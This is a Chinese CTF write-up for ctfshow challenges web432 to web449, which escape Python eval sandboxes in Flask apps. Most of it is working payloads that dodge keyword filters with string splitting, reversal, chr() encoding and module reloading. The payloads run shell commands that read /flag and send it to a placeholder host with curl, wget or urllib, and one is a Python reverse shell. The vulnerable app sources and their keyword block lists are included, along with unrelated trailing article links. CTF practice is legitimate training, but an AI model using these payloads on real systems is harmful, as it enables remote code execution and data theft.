ctfshow web 其他 web432--web449

web432

过滤了os|open|system|read|eval

复制代码
?code=str(''.__class__.__bases__[0].__subclasses__[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=`cat /f*`'))
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=`cat /f*`'))

web433

过滤了os|open|system|read|eval|builtins

复制代码
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('curl http://ip:port?1=`cat /f*`'))
?code=str(__import__('so'[::-1]).__getattribute__('syst'+'em')('curl http://ip:port?1=`cat /f*`'))

web 434

过滤了os|open|system|read|eval|builtins|curl

复制代码
?code=str(__import__('so'[::-1]).__getattribute__('syst'+'em')('cu'+'rl http://ip:port?1=`cat /f*`'))
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__bui'+'ltins__']['__imp'+'ort__']('o'+'s').__dict__['po'+'pen']('wget http://ip:port?1=`cat /f*`'))

web435--web439

过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

python里面可以用分号执行多条语句

我们逆序写

复制代码
?code=str(exec(')"`*f/ tac`=1?83121:pi//:ptth tegw"(metsys.so;so tropmi'[::-1]))

web440

过滤了os|open|system|read|eval|builtins|curl|_|getattr|{|'|"

python 复制代码
a='import os;os.system("wget http://ip:port?1=`cat /f*`")'

def x(a):
    t=''
    for i in range(len(a)):
        if i < len(a)-1:
            t+='chr('+str(ord(a[i]))+')%2b'
        else:
            t+='chr('+str(ord(a[i]))+')'

    return t

print(x(a))
复制代码
?code=str(exec(chr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(32)%2bchr(111)%2bchr(115)%2bchr(59)%2bchr(111)%2bchr(115)%2bchr(46)%2bchr(115)%2bchr(121)%2bchr(115)%2bchr(116)%2bchr(101)%2bchr(109)%2bchr(40)%2bchr(34)%2bchr(119)%2bchr(103)%2bchr(101)%2bchr(116)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(50)%2bchr(55)%2bchr(46)%2bchr(50)%2bchr(53)%2bchr(46)%2bchr(49)%2bchr(53)%2bchr(49)%2bchr(46)%2bchr(54)%2bchr(58)%2bchr(57)%2bchr(57)%2bchr(57)%2bchr(57)%2bchr(63)%2bchr(49)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)%2bchr(96)%2bchr(34)%2bchr(41)))

web441

python 复制代码
command = 'import os;os.system("wget http://ip:port?1=`cat /f*`")'

# 生成chr()函数调用列表
chr_list = [f'chr({ord(char)})' for char in command]

# 打印列表
# for i in chr_list:
#     print(i,end=",")

print("["+",".join(chr_list)+"]")
复制代码
?code=exec(str().join([chr(105),chr(109),chr(112),chr(111),chr(114),chr(116),chr(32),chr(111),chr(115),chr(59),chr(111),chr(115),chr(46),chr(115),chr(121),chr(115),chr(116),chr(101),chr(109),chr(40),chr(34),chr(119),chr(103),chr(101),chr(116),chr(32),chr(104),chr(116),chr(116),chr(112),chr(58),chr(47),chr(47),chr(50),chr(55),chr(46),chr(50),chr(53),chr(46),chr(49),chr(53),chr(49),chr(46),chr(54),chr(58),chr(57),chr(57),chr(57),chr(57),chr(63),chr(49),chr(61),chr(96),chr(99),chr(97),chr(116),chr(32),chr(47),chr(102),chr(42),chr(96),chr(34),chr(41)]))

?code=str(exec(request.args.get(chr(97))))&a=__import__('os').system('curl http://ip:port?1=`cat /f*`')

web442

过滤了数字

复制代码
?code=str(exec(request.args.get(request.method)))&GET=__import__('os').system('curl http://ip:port?1=`cat /f*`')

web443--web444

我没有写多因为payload是一样的打

php 复制代码
我觉得好奇葩,不知道传参位置后面看了web445的源码猜出来的
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

//str(exec(globals()[list(globals().keys())[10]].args.get(globals()[list(globals().keys())[10]].method)))
GET传参:
?POST=__import__('os').system('curl http://ip:port?p=`cat /f*`')

看到了另外一种拼接字符的方法我觉得很神,但是由于太长不能正常传入

python 复制代码
def getNumber3(number):
    number = int(number)
    if number in [-2, -1, 0, 1]:
        return ["~int((len(str(None))/len(str(None))))", "~int(len(str()))",
                "int(len(str()))", "int((len(str(None))/len(str(None))))"][number + 2]

    if number % 2:
        return "~%s" % getNumber3(~number)
    else:
        return "(%s<<(int((len(str(None))/len(str(None))))))" % getNumber3(number / 2)

s = 'import os;os.system("curl http://xxxx?1=`cat /flag`")'
res = 'str().join(['
for i in s:
    res += f"chr({getNumber3(ord(i))}),"
res = res[:-1]
res += '])'
print(res)

web444

python 复制代码
def getNumber3(number):
    number = int(number)
    if number in [-2, -1, 0, 1]:
        return ["~int(True)", "~int(False)",
                "int(False)", "int(True)"][number + 2]

    if number % 2:
        return "~%s" % getNumber3(~number)
    else:
        return "(%s<<(int(True)))" % getNumber3(number / 2)


def getNumber2(number):
    number = int(number)
    if number in [-2, -1, 0, 1]:
        return ["~([]<())", "~([]<[])",
                "([]<[])", "([]<())"][number + 2]

    if number % 2:
        return "~%s" % getNumber2(~number)
    else:
        return "(%s<<([]<()))" % getNumber2(number / 2)

s = 'import os;os.system("curl http://xxxx?1=`cat /flag`")'
# s = '123'
res = 'str().join(['
for i in s:
    res += f"chr({getNumber3(ord(i))}),"
res = res[:-1]
res += '])'
print(res)

web445--web446

web445:
app.py

python 复制代码
from flask import Flask
from flask import request
import re
import os
del os.system
del os.popen

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

web446:

python 复制代码
from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
复制代码
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
GET传参:
?POST=import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

web447

python 复制代码
from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload
import subprocess
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
import timeit
del timeit.timeit

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

删除了很多,我们用reload重新下回来

复制代码
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
GET传参:
POST=from importlib import reload;import os;reload(os);os.system('wget http://ip:port?1=`cat /f*`');

web448

python 复制代码
from flask import Flask
from flask import request
import re
import sys 
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
复制代码
POST传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
GET传参:
?POST=import shutil;shutil.copy('/user/local/lib/python3.8/os.py','a.py');import a;a.system('wget http://ip:port?1=`cat /f*`');

?POST=import sys;del sys.modules['os'];import os;os.system('wget http://ip:port?1=`cat /f*`');

web449

python 复制代码
from flask import Flask
from flask import request
import re
import sys 
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None

app = Flask(__name__)
sys.modules['importlib']=None
del sys

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])


@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
复制代码
GET传参:
?POST=s = open('/flag').read();import urllib;urllib.request.urlopen('http://ip:port?1='%2bs);
POST 传参:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
相关推荐
刃神太酷啦2 分钟前
C++ 异常处理机制:从基础到实践的全面解析----《Hello C++ Wrold!》(20)--(C/C++)
java·c语言·开发语言·c++·qt·算法·leetcode
蓝倾9764 分钟前
小红书获取用户作品列表API接口操作指南
java·服务器·前端·python·电商开放平台·开放api接口
q567315235 分钟前
告别低效:构建健壮R爬虫的工程思维
开发语言·爬虫·r语言
Suckerbin20 分钟前
LAMPSecurity: CTF6靶场渗透
笔记·安全·web安全·网络安全
枫叶丹422 分钟前
【Qt开发】显示类控件(一)-> QLabel
开发语言·qt
Python私教35 分钟前
源滚滚Rust全栈班v1.02 无符号整数详解
开发语言·后端·rust
yBmZlQzJ1 小时前
PyQt5 修改标签字体和颜色的程序
开发语言·python·qt
胖达不服输1 小时前
「日拱一码」081 机器学习——梯度增强特征选择GBFS
人工智能·python·算法·机器学习·梯度增强特征选择·gbfs
float_六七1 小时前
Java Stream流:从入门到精通
java·windows·python
星空的资源小屋1 小时前
PPTist,一个完全免费的 AI 生成 PPT 在线网站
人工智能·python·电脑·excel